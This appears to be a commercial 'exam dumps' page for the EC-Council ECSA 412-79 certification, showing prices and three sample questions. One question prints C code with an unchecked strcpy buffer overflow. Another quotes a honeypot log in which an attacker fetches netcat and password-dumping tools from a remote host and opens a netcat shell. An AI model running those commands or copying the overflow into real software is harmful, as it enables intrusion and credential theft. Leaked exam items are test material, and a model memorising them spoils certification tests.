Winter Sale - Limited Time 65% Discount Offer - Ends in 0d 00h 00m 00s - Coupon code: top65certs

412-79 Exam Dumps : EC-Council Certified Security Analyst (ECSA)

PDF
412-79 pdf
 Real Exam Questions and Answer
 Last Update: Feb 3, 2026
 Question and Answers: 232
 Compatible with all Devices
 Printable Format
 100% Pass Guaranteed
$29.75  $84.99
412-79 exam
PDF + Testing Engine
412-79 PDF + engine
 Both PDF & Practice Software
 Last Update: Feb 3, 2026
 Question and Answers: 232
 Discount Offer
 Download Free Demo
 24/7 Customer Support
$47.25  $134.99
Testing Engine
412-79 Engine
 Desktop Based Application
 Last Update: Feb 3, 2026
 Question and Answers: 232
 Create Multiple Test Sets
 Questions Regularly Updated
  90 Days Free Updates
  Windows and Mac Compatible
$35  $99.99

Verified By IT Certified Experts

CertsTopics.com Certified Safe Files

Up-To-Date Exam Study Material

99.5% High Success Pass Rate

100% Accurate Answers

Instant Downloads

Exam Questions And Answers PDF

Try Demo Before You Buy

Certification Exams with Helpful Questions And Answers

EC-Council Certified Security Analyst (ECSA) Questions and Answers

Question 1

You are working for a local police department that services a population of 1,000,000 people and you have been given the task of building a computer forensics laB. How many law-enforcement computer investigators should you request to staff the lab?

Options:

A.

8

B.

1

C.

4

D.

2

Buy Now
Question 2

Kyle is performing the final testing of an application he developed for the accounting department. His last round of testing is to ensure that the program is as secure as possible. Kyle runs the following command. What is he testing at this point?

#include

#include

int main(int argc, char *argv[])

{

char buffer[10];

if (argc < 2)

{

fprintf(stderr, "USAGE: %s string\n", argv[0]);

return 1;

}

strcpy(buffer, argv[1]);

return 0;

}

Options:

A.

Buffer overflow

B.

Format string bug

C.

Kernal injection

D.

SQL injection

Question 3

The following excerpt is taken from a honeypot log that was hosted at laB. wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD. EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

“cmd1.exe /c open 213.116.251.162 >ftpcom”

“cmd1.exe /c echo johna2k >>ftpcom”

“cmd1.exe /c echo

haxedj00 >>ftpcom”

“cmd1.exe /c echo get n

C.

exe >>ftpcom”

“cmd1.exe /c echo get pdump.exe >>ftpcom”

“cmd1.exe /c echo get samdump.dll >>ftpcom”

“cmd1.exe /c echo quit >>ftpcom”

“cmd1.exe /c ftp-

s:ftpcom”

“cmd1.exe /c nc

-l -p 6969 -

e cmd1.exe”

What can you infer from the exploit given?

Options:

A.

It is a local exploit where the attacker logs in using username johna2k

B.

There are two attackers on the system -johna2k and haxedj00

C.

The attack is a remote exploit and the hacker downloads three files

D.

The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port